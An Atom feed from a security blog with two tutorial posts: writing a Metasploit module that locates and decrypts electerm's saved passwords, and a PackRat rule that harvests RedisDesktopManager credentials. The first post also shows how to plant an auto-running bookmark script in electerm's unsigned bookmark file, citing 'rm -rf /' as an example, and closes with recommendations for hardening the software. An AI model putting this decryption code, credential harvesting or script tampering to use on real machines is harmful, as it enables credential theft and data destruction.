<?xml version="1.0" encoding="utf-8"?>
<?xml-stylesheet href="https://blog.kali-team.cn/feed_style.xsl" type="text/xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="zh">
    <tabi:metadata xmlns:tabi="https://github.com/welpo/tabi">
        <tabi:base_url>https:&#x2F;&#x2F;blog.kali-team.cn</tabi:base_url>
        <tabi:separator>
            •
        </tabi:separator>
        <tabi:about_feeds>这是Web Feed，又称为Atom Feed，把现在的网址复制到新闻阅读器即可订阅本站文章。造访「About Feeds」来了解更多资讯。</tabi:about_feeds>
        <tabi:visit_the_site>造访网站</tabi:visit_the_site>
        <tabi:recent_posts>近期文章</tabi:recent_posts>
        <tabi:last_updated_on>更新于 $DATE</tabi:last_updated_on>
        <tabi:default_theme></tabi:default_theme>
        <tabi:post_listing_date>date</tabi:post_listing_date>
        <tabi:current_section>electerm</tabi:current_section>
    </tabi:metadata><link rel="extra-stylesheet" href="https://blog.kali-team.cn/skins/arch.css?h=8b651815fde702215b07" /><title>Kali-Team - electerm</title>
        <subtitle>三米前有蕉皮的博客</subtitle>
    <link href="https://blog.kali-team.cn/tags/electerm/atom.xml" rel="self" type="application/atom+xml"/>
    <link href="https://blog.kali-team.cn/tags/electerm/" rel="alternate" type="text/html"/>
    <generator uri="https://www.getzola.org/">Zola</generator><updated>2024-08-07T00:00:00+00:00</updated><id>https://blog.kali-team.cn/tags/electerm/atom.xml</id><entry xml:lang="zh">
        <title>编写metasploit模块提取electerm密码</title>
        <published>2024-08-07T00:00:00+00:00</published>
        <updated>2024-08-07T00:00:00+00:00</updated>
        <author>
            <name>三米前有蕉皮</name>
        </author>
        <link rel="alternate" href="https://blog.kali-team.cn/blog/编写metasploit模块提取electerm密码/" type="text/html"/>
        <id>https://blog.kali-team.cn/blog/编写metasploit模块提取electerm密码/</id>
        
            <content type="html">&lt;h1 id=&quot;qian-yan&quot;&gt;&lt;a class=&quot;header-anchor no-hover-padding&quot; href=&quot;#qian-yan&quot; aria-label=&quot;Anchor link for: qian-yan&quot;&gt;&lt;span class=&quot;link-icon&quot; aria-hidden=&quot;true&quot;&gt;&lt;&#x2F;span&gt;&lt;&#x2F;a&gt;
前言&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;继续完善后渗透信息收集的模块，这次的收集对象是https:&#x2F;&#x2F;github.com&#x2F;electerm&#x2F;electerm&#x2F;，一个开源终端&#x2F;ssh&#x2F;telnet&#x2F;serialport&#x2F;RDP&#x2F;VNC&#x2F;sftp客户端。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;pei-zhi-wen-jian&quot;&gt;&lt;a class=&quot;header-anchor no-hover-padding&quot; href=&quot;#pei-zhi-wen-jian&quot; aria-label=&quot;Anchor link for: pei-zhi-wen-jian&quot;&gt;&lt;span class=&quot;link-icon&quot; aria-hidden=&quot;true&quot;&gt;&lt;&#x2F;span&gt;&lt;&#x2F;a&gt;
配置文件&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;安装后打开软件，创建书签，可选类型有ssh，telnet，rdp和vnc协议，也就只有这几个能保存密码的。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;blog.kali-team.cn&#x2F;blog&#x2F;%E7%BC%96%E5%86%99metasploit%E6%A8%A1%E5%9D%97%E6%8F%90%E5%8F%96electerm%E5%AF%86%E7%A0%81&#x2F;%25E5%259B%25BE%25E7%2589%2587.png&quot; alt=&quot;图片.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;填完信息后点击保存，就可以在旁边创建书签了。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;blog.kali-team.cn&#x2F;blog&#x2F;%E7%BC%96%E5%86%99metasploit%E6%A8%A1%E5%9D%97%E6%8F%90%E5%8F%96electerm%E5%AF%86%E7%A0%81&#x2F;%25E5%259B%25BE%25E7%2589%2587%201.png&quot; alt=&quot;图片.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;当时在window系统也安装了，所以直接使用文件监控就知道哪些文件做操作了，最后找到了用户&lt;code&gt;AppData\Roaming\electerm\users\default_user&lt;&#x2F;code&gt;目录下的一个&lt;code&gt;electerm.bookmarks.nedb&lt;&#x2F;code&gt;文件，打开查看是json格式的文本，下面是格式化后的样例数据，但是里面的密码并不是我当时创建书签所填写的，可以发现是已经加密过的。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;json&quot; class=&quot;language-json &quot;&gt;&lt;code class=&quot;language-json&quot; data-lang=&quot;json&quot;&gt;{
	&amp;quot;_id&amp;quot;: &amp;quot;W7oqOeB&amp;quot;,
	&amp;quot;title&amp;quot;: &amp;quot;&amp;quot;,
	&amp;quot;color&amp;quot;: &amp;quot;#6a737d&amp;quot;,
	&amp;quot;host&amp;quot;: &amp;quot;127.0.0.1:22&amp;quot;,
	&amp;quot;username&amp;quot;: &amp;quot;root&amp;quot;,
	&amp;quot;authType&amp;quot;: &amp;quot;password&amp;quot;,
	&amp;quot;password&amp;quot;: &amp;quot;2468:&amp;lt;&amp;quot;,
	&amp;quot;port&amp;quot;: 22,
	&amp;quot;runScripts&amp;quot;: [{}],
	&amp;quot;encode&amp;quot;: &amp;quot;utf-8&amp;quot;,
	&amp;quot;enableSsh&amp;quot;: true,
	&amp;quot;envLang&amp;quot;: &amp;quot;en_US.UTF-8&amp;quot;,
	&amp;quot;term&amp;quot;: &amp;quot;xterm-256color&amp;quot;,
	&amp;quot;displayRaw&amp;quot;: false,
	&amp;quot;sshTunnels&amp;quot;: [],
	&amp;quot;connectionHoppings&amp;quot;: [],
	&amp;quot;passwordEncrypted&amp;quot;: true
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;总结一下配置文件的路径，都是在用户的配置文件夹&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;操作系统&lt;&#x2F;th&gt;&lt;th&gt;书签配置文件路径&lt;&#x2F;th&gt;&lt;&#x2F;tr&gt;&lt;&#x2F;thead&gt;&lt;tbody&gt;
&lt;tr&gt;&lt;td&gt;window&lt;&#x2F;td&gt;&lt;td&gt;C:\Users\FireEye\AppData\Roaming\electerm\users\default_user\electerm.bookmarks.nedb&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;tr&gt;&lt;td&gt;linux，osx，unix&lt;&#x2F;td&gt;&lt;td&gt;&#x2F;home&#x2F;kali-team&#x2F;.config&#x2F;electerm&#x2F;users&#x2F;default_user&#x2F;electerm.bookmarks.nedb&lt;&#x2F;td&gt;&lt;&#x2F;tr&gt;
&lt;&#x2F;tbody&gt;&lt;&#x2F;table&gt;
&lt;h1 id=&quot;jie-mi-mi-ma&quot;&gt;&lt;a class=&quot;header-anchor no-hover-padding&quot; href=&quot;#jie-mi-mi-ma&quot; aria-label=&quot;Anchor link for: jie-mi-mi-ma&quot;&gt;&lt;span class=&quot;link-icon&quot; aria-hidden=&quot;true&quot;&gt;&lt;&#x2F;span&gt;&lt;&#x2F;a&gt;
解密密码&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;由于是开源项目，所以通过查看源码很快就可以得到解密算法，其实就是一个字符位移加密，类似凯撒密码，所以基本上没有达到加密效果&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;electerm&#x2F;electerm&#x2F;blob&#x2F;master&#x2F;src&#x2F;app&#x2F;common&#x2F;pass-enc.js&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;electerm&#x2F;electerm&#x2F;blob&#x2F;master&#x2F;src&#x2F;app&#x2F;common&#x2F;pass-enc.js&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;我们尝试对上面的&lt;code&gt;2468:&amp;lt;&lt;&#x2F;code&gt;密文做解密操作，将javascript直接复制到浏览器控制台回车就得到明文为：&lt;code&gt;123456&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;js&quot; class=&quot;language-js &quot;&gt;&lt;code class=&quot;language-js&quot; data-lang=&quot;js&quot;&gt;&amp;quot;2468:&amp;lt;&amp;quot;.split(&amp;#x27;&amp;#x27;).map((s, i) =&amp;gt; {
    return String.fromCharCode((s.charCodeAt(0) - i - 1 + 65536) % 65536)
  }).join(&amp;#x27;&amp;#x27;)
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;blog.kali-team.cn&#x2F;blog&#x2F;%E7%BC%96%E5%86%99metasploit%E6%A8%A1%E5%9D%97%E6%8F%90%E5%8F%96electerm%E5%AF%86%E7%A0%81&#x2F;%25E5%259B%25BE%25E7%2589%2587%202.png&quot; alt=&quot;图片.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;当然我们要写的metasploit模块是ruby代码，简单转换一下得到ruby代码为：&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;ruby&quot; class=&quot;language-ruby &quot;&gt;&lt;code class=&quot;language-ruby&quot; data-lang=&quot;ruby&quot;&gt;# Decrypt password https:&amp;#x2F;&amp;#x2F;github.com&amp;#x2F;electerm&amp;#x2F;electerm&amp;#x2F;blob&amp;#x2F;master&amp;#x2F;src&amp;#x2F;app&amp;#x2F;common&amp;#x2F;pass-enc.js
def dec_electrm_password(enc)
  result = enc.chars.map.with_index do |s, i|
    ((s.ord - i - 1 + 65536) % 65536).chr
  end.join
  return result
end
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h1 id=&quot;mo-kuai-bian-xie&quot;&gt;&lt;a class=&quot;header-anchor no-hover-padding&quot; href=&quot;#mo-kuai-bian-xie&quot; aria-label=&quot;Anchor link for: mo-kuai-bian-xie&quot;&gt;&lt;span class=&quot;link-icon&quot; aria-hidden=&quot;true&quot;&gt;&lt;&#x2F;span&gt;&lt;&#x2F;a&gt;
模块编写&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;根据不同操作系统获取书签的路径&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;ruby&quot; class=&quot;language-ruby &quot;&gt;&lt;code class=&quot;language-ruby&quot; data-lang=&quot;ruby&quot;&gt;  def get_bookmarks_path
    bookmarks_dir = &amp;#x27;&amp;#x27;
    case session.platform
    when &amp;#x27;windows&amp;#x27;
      app_data = get_env(&amp;#x27;AppData&amp;#x27;)
      if app_data.present?
        bookmarks_dir = app_data + &amp;#x27;\Roaming\electerm\users\default_user&amp;#x27;
      end
    when &amp;#x27;linux&amp;#x27;, &amp;#x27;osx&amp;#x27;, &amp;#x27;unix&amp;#x27;
      home = get_env(&amp;#x27;HOME&amp;#x27;)
      if home.present?
        bookmarks_dir = home + &amp;#x27;&amp;#x2F;.config&amp;#x2F;electerm&amp;#x2F;users&amp;#x2F;default_user&amp;#x27;
      end
    end
    bookmarks_path = File.join(bookmarks_dir, &amp;#x27;electerm.bookmarks.nedb&amp;#x27;)
    return bookmarks_path
  end
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;拼接文件名组成完整路径，然后读取文件逐行解析json为字典对象，然后判断是否有密码和是否加密，如果有加密调用解密函数替换密文，返回结果。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;ruby&quot; class=&quot;language-ruby &quot;&gt;&lt;code class=&quot;language-ruby&quot; data-lang=&quot;ruby&quot;&gt;  def parse_jsonlines(line)
    result_hashmap = Hash.new
    begin
      result_hashmap = JSON.parse(line)
    rescue ::JSON::ParserError =&amp;gt; e
      raise Error::ParserError, &amp;quot;[parse_bookmarks] #{e.class} - #{e}&amp;quot;
    end
    if result_hashmap.key?(&amp;quot;password&amp;quot;)
      if result_hashmap.key?(&amp;quot;passwordEncrypted&amp;quot;)
        result_hashmap[&amp;quot;password&amp;quot;]=dec_electrm_password(result_hashmap[&amp;quot;password&amp;quot;])
      end
    end
    return result_hashmap
  end
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;最后打印结果，保存信息到数据库，效果如下：&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;blog.kali-team.cn&#x2F;blog&#x2F;%E7%BC%96%E5%86%99metasploit%E6%A8%A1%E5%9D%97%E6%8F%90%E5%8F%96electerm%E5%AF%86%E7%A0%81&#x2F;%25E5%259B%25BE%25E7%2589%2587%203.png&quot; alt=&quot;图片.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;qi-ta-gong-ji-si-lu&quot;&gt;&lt;a class=&quot;header-anchor no-hover-padding&quot; href=&quot;#qi-ta-gong-ji-si-lu&quot; aria-label=&quot;Anchor link for: qi-ta-gong-ji-si-lu&quot;&gt;&lt;span class=&quot;link-icon&quot; aria-hidden=&quot;true&quot;&gt;&lt;&#x2F;span&gt;&lt;&#x2F;a&gt;
其他攻击思路&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;我在创建书签的时候发现了添加运行脚本，双击打开就会自动运行设置好的命令，而这个书签配置文件是可以被任意修改的，并没有对修改的数据做签名校验，也就是其他用户可以绕过工具去修改这个配置文件，而这个工具在重新加载配置文件后信任了被恶意添加的脚本命令。例如下面的一个本地终端：&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;ruby&quot; class=&quot;language-ruby &quot;&gt;&lt;code class=&quot;language-ruby&quot; data-lang=&quot;ruby&quot;&gt;{
	&amp;quot;_id&amp;quot;: &amp;quot;GVhcAD-&amp;quot;,
	&amp;quot;title&amp;quot;: &amp;quot;evil script&amp;quot;,
	&amp;quot;runScripts&amp;quot;: [{
		&amp;quot;delay&amp;quot;: 1,
		&amp;quot;script&amp;quot;: &amp;quot;echo kali-team&amp;quot;
	}],
	&amp;quot;color&amp;quot;: &amp;quot;#e99695&amp;quot;,
	&amp;quot;description&amp;quot;: &amp;quot;evil&amp;quot;,
	&amp;quot;type&amp;quot;: &amp;quot;local&amp;quot;,
	&amp;quot;term&amp;quot;: &amp;quot;xterm-256color&amp;quot;,
	&amp;quot;displayRaw&amp;quot;: false
}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;打开后一秒自动执行一条echo命令，试想一下这是一条恶意的命令，比如：&lt;code&gt;rm -rf &#x2F;&lt;&#x2F;code&gt;，你双击打开一台服务器，输入密码登录上服务器，过了1秒，自动将上面的恶意命令执行了，是不是可以提桶跑路了。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;blog.kali-team.cn&#x2F;blog&#x2F;%E7%BC%96%E5%86%99metasploit%E6%A8%A1%E5%9D%97%E6%8F%90%E5%8F%96electerm%E5%AF%86%E7%A0%81&#x2F;%25E5%259B%25BE%25E7%2589%2587%204.png&quot; alt=&quot;图片.png&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h1 id=&quot;zong-jie&quot;&gt;&lt;a class=&quot;header-anchor no-hover-padding&quot; href=&quot;#zong-jie&quot; aria-label=&quot;Anchor link for: zong-jie&quot;&gt;&lt;span class=&quot;link-icon&quot; aria-hidden=&quot;true&quot;&gt;&lt;&#x2F;span&gt;&lt;&#x2F;a&gt;
总结&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;electron其实内置有很完善的数据加密存储方案，像浏览器一样在window中使用&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;learn.microsoft.com&#x2F;en-us&#x2F;windows&#x2F;win32&#x2F;api&#x2F;dpapi&#x2F;nf-dpapi-cryptprotectdata&quot;&gt;DPAPI&lt;&#x2F;a&gt;加解密，在linux和mac下使用系统密钥环加解密，都可以更加安全得保护用户的凭证信息，就算配置文件被拷到其他电脑也无法被解密，恰恰相反这个工具有一个数据同步功能导致配置文件到任意一台电脑都可以被正常读取解密。如果想要更好的保护数据，最好使用AES加密，密钥由用户设置作为启动主密码，就算将配置文件同步到其他地方泄漏了没有主密码一样无法解密。&lt;&#x2F;li&gt;
&lt;li&gt;还有自动执行脚本命令的功能，需要达到配置文件防篡改，应该对没一个书签配置做签名校验，当这个配置文件不是有软件自身修改的则无法通过签名校验，中断加载配置文件。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;can-kao&quot;&gt;&lt;a class=&quot;header-anchor no-hover-padding&quot; href=&quot;#can-kao&quot; aria-label=&quot;Anchor link for: can-kao&quot;&gt;&lt;span class=&quot;link-icon&quot; aria-hidden=&quot;true&quot;&gt;&lt;&#x2F;span&gt;&lt;&#x2F;a&gt;
参考&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;
&lt;p&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;github.com&#x2F;rapid7&#x2F;metasploit-framework&#x2F;pull&#x2F;19395&quot;&gt;https:&#x2F;&#x2F;github.com&#x2F;rapid7&#x2F;metasploit-framework&#x2F;pull&#x2F;19395&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;li&gt;
&lt;p&gt;&lt;a rel=&quot;noopener nofollow noreferrer&quot; target=&quot;_blank&quot; href=&quot;https:&#x2F;&#x2F;www.electronjs.org&#x2F;docs&#x2F;latest&#x2F;api&#x2F;safe-storage&quot;&gt;https:&#x2F;&#x2F;www.electronjs.org&#x2F;docs&#x2F;latest&#x2F;api&#x2F;safe-storage&lt;&#x2F;a&gt;&lt;&#x2F;p&gt;
&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
</content>
        <summary type="html">编写metasploit模块提取electerm密码</summary>
        </entry><entry xml:lang="zh">
        <title>编写Metasploit的PackRat模块获取RDM密码</title>
        <published>2022-09-12T00:00:00+00:00</published>
        <updated>2022-09-12T00:00:00+00:00</updated>
        <author>
            <name>三米前有蕉皮</name>
        </author>
        <link rel="alternate" href="https://blog.kali-team.cn/blog/编写Metasploit的PackRat模块获取RDM密码/" type="text/html"/>
        <id>https://blog.kali-team.cn/blog/编写Metasploit的PackRat模块获取RDM密码/</id>
        
            <content type="html">&lt;h1 id=&quot;qian-yan&quot;&gt;&lt;a class=&quot;header-anchor no-hover-padding&quot; href=&quot;#qian-yan&quot; aria-label=&quot;Anchor link for: qian-yan&quot;&gt;&lt;span class=&quot;link-icon&quot; aria-hidden=&quot;true&quot;&gt;&lt;&#x2F;span&gt;&lt;&#x2F;a&gt;
前言&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;两年没看过metasploit的代码了，今天在朋友圈看到电视剧《你安全吗》用到了metasploit，所以更新了一下代码，看到之前写的凭证收集的模块都替换为PackRat了。&lt;&#x2F;li&gt;
&lt;li&gt;PackRat是一个后渗透模块，从用户的系统中收集文件和信息的工具。PackRat使用regexp、JSON、XML和SQLite查询搜索和下载感兴趣的文件（如配置文件、接收和删除的电子邮件），并提取信息（如联系人、用户名和密码）。&lt;&#x2F;li&gt;
&lt;li&gt;简单来说就是把信息收集写成像nuclei那样使用规则去获取，这样就不用写代码了。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;h1 id=&quot;huan-jing-da-jian&quot;&gt;&lt;a class=&quot;header-anchor no-hover-padding&quot; href=&quot;#huan-jing-da-jian&quot; aria-label=&quot;Anchor link for: huan-jing-da-jian&quot;&gt;&lt;span class=&quot;link-icon&quot; aria-hidden=&quot;true&quot;&gt;&lt;&#x2F;span&gt;&lt;&#x2F;a&gt;
环境搭建&lt;&#x2F;h1&gt;
&lt;ul&gt;
&lt;li&gt;找了一个简单的软件作为例子，Redis的图形化客户端https:&#x2F;&#x2F;github.com&#x2F;uglide&#x2F;RedisDesktopManager&lt;&#x2F;li&gt;
&lt;li&gt;redis服务器搭建，连上去设置密码为：&lt;code&gt;my_redis&lt;&#x2F;code&gt;。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;bash&quot; class=&quot;language-bash &quot;&gt;&lt;code class=&quot;language-bash&quot; data-lang=&quot;bash&quot;&gt;☁  ~  docker run -it -p 6379:6379 redis:latest
root@082845d25224:&amp;#x2F;bin# redis-cli -h 127.0.0.1 -p 6379 
127.0.0.1:6379&amp;gt; keys * 
(empty array)
127.0.0.1:6379&amp;gt; config get requirepass
1) &amp;quot;requirepass&amp;quot;
2) &amp;quot;&amp;quot;
127.0.0.1:6379&amp;gt; config set requirepass my_redis
OK
127.0.0.1:6379&amp;gt; config get requirepass
1) &amp;quot;requirepass&amp;quot;
2) &amp;quot;my_redis&amp;quot;
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;blog.kali-team.cn&#x2F;blog&#x2F;%E7%BC%96%E5%86%99Metasploit%E7%9A%84PackRat%E6%A8%A1%E5%9D%97%E8%8E%B7%E5%8F%96RDM%E5%AF%86%E7%A0%81&#x2F;Untitled.png&quot; alt=&quot;Untitled&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;ul&gt;
&lt;li&gt;配置文件：&lt;code&gt;C:\Users\FireEye\.rdm\connections.json&lt;&#x2F;code&gt;&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;json&quot; class=&quot;language-json &quot;&gt;&lt;code class=&quot;language-json&quot; data-lang=&quot;json&quot;&gt;[
    {
        &amp;quot;auth&amp;quot;: &amp;quot;my_redis&amp;quot;,
        &amp;quot;cluster_host_override&amp;quot;: true,
        &amp;quot;db_scan_limit&amp;quot;: 20,
        &amp;quot;host&amp;quot;: &amp;quot;10.168.1.201&amp;quot;,
        &amp;quot;keys_pattern&amp;quot;: &amp;quot;*&amp;quot;,
        &amp;quot;name&amp;quot;: &amp;quot;T&amp;quot;,
        &amp;quot;namespace_separator&amp;quot;: &amp;quot;:&amp;quot;,
        &amp;quot;port&amp;quot;: 6379,
        &amp;quot;ssh_agent_path&amp;quot;: &amp;quot;&amp;quot;,
        &amp;quot;ssh_password&amp;quot;: &amp;quot;&amp;quot;,
        &amp;quot;ssh_private_key_path&amp;quot;: &amp;quot;&amp;quot;,
        &amp;quot;ssl_ignore_all_errors&amp;quot;: false,
        &amp;quot;timeout_connect&amp;quot;: 60000,
        &amp;quot;timeout_execute&amp;quot;: 60000,
        &amp;quot;username&amp;quot;: &amp;quot;A&amp;quot; &amp;#x2F;&amp;#x2F;这个是我加上去测试的
    }
]
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;h2 id=&quot;bian-xie-packratgui-ze&quot;&gt;&lt;a class=&quot;header-anchor no-hover-padding&quot; href=&quot;#bian-xie-packratgui-ze&quot; aria-label=&quot;Anchor link for: bian-xie-packratgui-ze&quot;&gt;&lt;span class=&quot;link-icon&quot; aria-hidden=&quot;true&quot;&gt;&lt;&#x2F;span&gt;&lt;&#x2F;a&gt;
编写PackRat规则&lt;&#x2F;h2&gt;
&lt;ul&gt;
&lt;li&gt;首先&lt;code&gt;ProfileDir&lt;&#x2F;code&gt;这个是userprofile中的键，详细可以看我写的模块编写文章中的获取用户配置，调试看到就是这样的：&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;ruby&quot; class=&quot;language-ruby &quot;&gt;&lt;code class=&quot;language-ruby&quot; data-lang=&quot;ruby&quot;&gt;[1] pry(#&amp;lt;Msf::Modules::Post__Windows__Gather__Credentials__Rdm::MetasploitModule&amp;gt;)&amp;gt; userprofile                                                               
=&amp;gt; {&amp;quot;SID&amp;quot;=&amp;gt;&amp;quot;S-1-5-21-1546888072-418879536-4029880489-1001&amp;quot;,                                                                                                    
 &amp;quot;ProfileDir&amp;quot;=&amp;gt;&amp;quot;C:\\Users\\FireEye&amp;quot;,                                                                                                                           
 &amp;quot;AppData&amp;quot;=&amp;gt;&amp;quot;C:\\Users\\FireEye\\AppData\\Roaming&amp;quot;,                                                                                                            
 &amp;quot;LocalAppData&amp;quot;=&amp;gt;&amp;quot;C:\\Users\\FireEye\\AppData\\Local&amp;quot;,                                                                                                         
 &amp;quot;LocalSettings&amp;quot;=&amp;gt;nil,                                                                                                                                         
 &amp;quot;Desktop&amp;quot;=&amp;gt;&amp;quot;C:\\Users\\FireEye\\Desktop&amp;quot;,                                                                                                                     
 &amp;quot;MyDocs&amp;quot;=&amp;gt;&amp;quot;C:\\Users\\FireEye\\Documents&amp;quot;,                                                                                                                    
 &amp;quot;Favorites&amp;quot;=&amp;gt;&amp;quot;C:\\Users\\FireEye\\Favorites&amp;quot;,                                                                                                                 
 &amp;quot;History&amp;quot;=&amp;gt;&amp;quot;C:\\Users\\FireEye\\AppData\\Local\\Microsoft\\Windows\\History&amp;quot;,                                                                                 
 &amp;quot;Cookies&amp;quot;=&amp;gt;&amp;quot;C:\\Users\\FireEye\\AppData\\Roaming\\Microsoft\\Windows\\Cookies&amp;quot;,                                                                               
 &amp;quot;Temp&amp;quot;=&amp;gt;&amp;quot;C:\\Users\\FireEye\\AppData\\Local\\Temp\x00&amp;quot;,                                                                                                       
 &amp;quot;Path&amp;quot;=&amp;gt;                                                                                                                                                      
  &amp;quot;C:\\Users\\FireEye\\scoop\\apps\\openjdk\\current\\bin;C:\\Users\\FireEye\\scoop\\apps\\yarn\\current\\global\\node_modules\\.bin;C:\\Users\\FireEye\\scoop\
\apps\\yarn\\current\\Yarn\\bin;C:\\Users\\FireEye\\scoop\\apps\\nodejs\\current\\bin;C:\\Users\\FireEye\\scoop\\apps\\nodejs\\current;C:\\Users\\FireEye\\scoo
p\\apps\\python\\current\\Scripts;C:\\Users\\FireEye\\scoop\\apps\\python\\current;C:\\Users\\FireEye\\go\\bin;C:\\Users\\FireEye\\scoop\\apps\\gcc\\current\\b
in;C:\\Users\\FireEye\\scoop\\apps\\openssl\\current\\bin;C:\\Users\\FireEye\\scoop\\shims;C:\\Users\\FireEye\\AppData\\Roaming\\Python\\Python39\\Scripts;C:\\
Users\\FireEye\\AppData\\Roaming\\npm;C:\\Program Files\\Azure Data Studio\\bin\x00&amp;quot;,                                                                          
 &amp;quot;UserName&amp;quot;=&amp;gt;&amp;quot;FireEye&amp;quot;,                                                                                                                                        
 &amp;quot;Domain&amp;quot;=&amp;gt;&amp;quot;WIN-79MR8QJM50N&amp;quot;}
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;所以呢可以通过这里的键快速找到用户对应的路径。&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;pre data-lang=&quot;json&quot; class=&quot;language-json &quot;&gt;&lt;code class=&quot;language-json&quot; data-lang=&quot;json&quot;&gt;{
      application: &amp;#x27;redis_desktop_manager&amp;#x27;,
      app_category: &amp;#x27;redis&amp;#x27;,
      gatherable_artifacts: [
        {
          filetypes: &amp;#x27;logins&amp;#x27;,
          path: &amp;#x27;ProfileDir&amp;#x27;,&amp;#x2F;&amp;#x2F;上面说的用户路径
          dir: &amp;#x27;.rdm&amp;#x27;, &amp;#x2F;&amp;#x2F;软件配置文件夹
          artifact_file_name: &amp;#x27;connections.json&amp;#x27;,&amp;#x2F;&amp;#x2F;保存了密码的文件
          description: &amp;quot;RedisDesktopManager&amp;#x27;s saved Username and Password &amp;quot;,
          credential_type: &amp;#x27;json&amp;#x27;,
          json_search: [
            {
              json_parent: &amp;quot;&amp;quot;,
              json_children: [&amp;#x2F;&amp;#x2F; 要提取的键
                &amp;quot;[&amp;#x27;name&amp;#x27;]&amp;quot;,
                &amp;quot;[&amp;#x27;username&amp;#x27;]&amp;quot;,
                &amp;quot;[&amp;#x27;auth&amp;#x27;]&amp;quot;,
                &amp;quot;[&amp;#x27;host&amp;#x27;]&amp;quot;,
                &amp;quot;[&amp;#x27;port&amp;#x27;]&amp;quot;,
              ]
            }
          ]
        }
      ]
    }
&lt;&#x2F;code&gt;&lt;&#x2F;pre&gt;
&lt;ul&gt;
&lt;li&gt;运行效果&lt;&#x2F;li&gt;
&lt;&#x2F;ul&gt;
&lt;p&gt;&lt;img src=&quot;https:&#x2F;&#x2F;blog.kali-team.cn&#x2F;blog&#x2F;%E7%BC%96%E5%86%99Metasploit%E7%9A%84PackRat%E6%A8%A1%E5%9D%97%E8%8E%B7%E5%8F%96RDM%E5%AF%86%E7%A0%81&#x2F;Untitled%201.png&quot; alt=&quot;Untitled&quot; &#x2F;&gt;&lt;&#x2F;p&gt;
&lt;h2 id=&quot;can-kao&quot;&gt;&lt;a class=&quot;header-anchor no-hover-padding&quot; href=&quot;#can-kao&quot; aria-label=&quot;Anchor link for: can-kao&quot;&gt;&lt;span class=&quot;link-icon&quot; aria-hidden=&quot;true&quot;&gt;&lt;&#x2F;span&gt;&lt;&#x2F;a&gt;
参考&lt;&#x2F;h2&gt;
